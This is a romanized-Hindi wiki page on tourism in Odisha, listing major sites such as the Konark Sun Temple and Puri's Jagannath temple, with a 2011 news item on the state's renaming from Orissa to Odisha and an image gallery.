rajy ke arthik vikas mean paryatan ke mahattv ko samajhate hue midiya prabandhan ejeansiyoan aur parv prabandhakoan ko prachar evan prasar ka kary diya gaya hai. odisha ko vibhinn mahattvapoorn paryatan parijanaoan - dhauli mean shaanti park, lalitagiri, udayagiri tatha laangudi ke bauddh sthaloan ko dhaanchagat vikas aur pipili mean paryatan vikas ka kam kiya jaega. (puri) bhuvaneshvar ka ekagr utsav, konark ka konark parv ke meloan aur tyoharoan ke vikas ke lie prayas kiya ja raha hai. [[chitr:Udayagiri-Caves-Khandagiri.jpg|thumb|250px|left|udayagiri gufaean, bhuvaneshvar]] odisha paryatan vibhag ne baiank aauk, masko, landan, kualalanpur, kochchi, kolakata, rayapur adi ke bhraman vyapar ke ayojanoan mean bhag liya. paryatan kshetr mean niji kshetr ki bhagidari ko protsahan dene ke lie 373 margadarshakoan (gaidoan) ko prashikshan diya gaya.

paryatan sthal

• soory mandir, konark
• rajy ki rajadhani bhuvaneshvar liangaraj mandir ke lie prasiddh hai.
• puri ka jagannath mandir
• suandar puri tat
• rajy ke any prasiddh paryatan keandr haian konark, nandanakanan, chilaka jhil, dhauli bauddh mandir, udayagiri-khandagiri ki prachin guphaean, ratnagiri, lalitagiri aur udayagiri ke bauddh bhittichitr aur guphaean, saptasajya ka manoram pahadi drishy, similipal rashtriy udyan tatha bagh pariyojana, hirakuand baandh, duduma jalaprapat, ushakothi vany jiv abhayarany, gopanapur samudri tat, harishankar, nrisianhanath, taratarini, taptapani, bhitarakanika, bhimakuand kapilash adi sthan prasiddh haian.

samachar

guruvar, 25 march, 2011

u disa ab odisha ho gaya
u disa ka nam odisha kie jane sanbandhi vidheyak ko lokasabha ke bad rajyasabha mean bhi guruvar ko manjoori de di gee. u disa vidhanasabha mean 28 agast 2008 ko isaka prastav parit kiya gaya tha jise bad mean kendr ko bhej diya gaya tha. kendriy grih mantri pi.chidambaram ne rajyasabha mean u disa (vaikalpik nam) vidheyak, 2010 aur udiya bhasha ka nam badalakar odisha karane ke lie sanvidhan (113 vaan sanshodhan) vidheyak,2010 pesh kiya. donoan vidheyakoan ko rajyasabha ne parit kar diya. lokasabha pichhale sal navambar mean hi inhean parit kar chuki hai. rajyasabha mean vidheyak pesh karate hue chidambaram ne kaha ki sanvidhan ki pahali anusoochi mean shamil u disa ka nam badalakar odisha ho jaega.

samachar ko vibhinn srotoan par padhean

• khas khabar
• navabharat taims
• hindi vebaduniya
• samay laiv

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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vithika

• chitr:Sun-Temple-Gate-Konark.jpg

  soory mandir, konark

• chitr:Sun-Temple-Konark-5.jpg

  soory mandir, konark

• chitr:Jagannath-Temple-Orissa-2.jpg

  jagannath mandir, u disa

• chitr:Bhubaneswar-Taptapani.jpg

  tapata pani mandir, bhuvaneshvar

• chitr:Sun-Temple-Konark-12.jpg

  soory mandir, konark

• chitr:Orissa-Paintings.jpg

  chitrakari, u disa

• chitr:A-View-Of-Sun-Temple-Konark.jpg

  soory mandir, konark

• chitr:Jagannath-Temple-Puri.jpg

  jagannath mandir, puri

• chitr:Sun-Temple-Konark-3.jpg

  soory mandir, konark

• chitr:Sun-Temple-Konark-10.jpg

  soory mandir, konark

sanbandhit lekh

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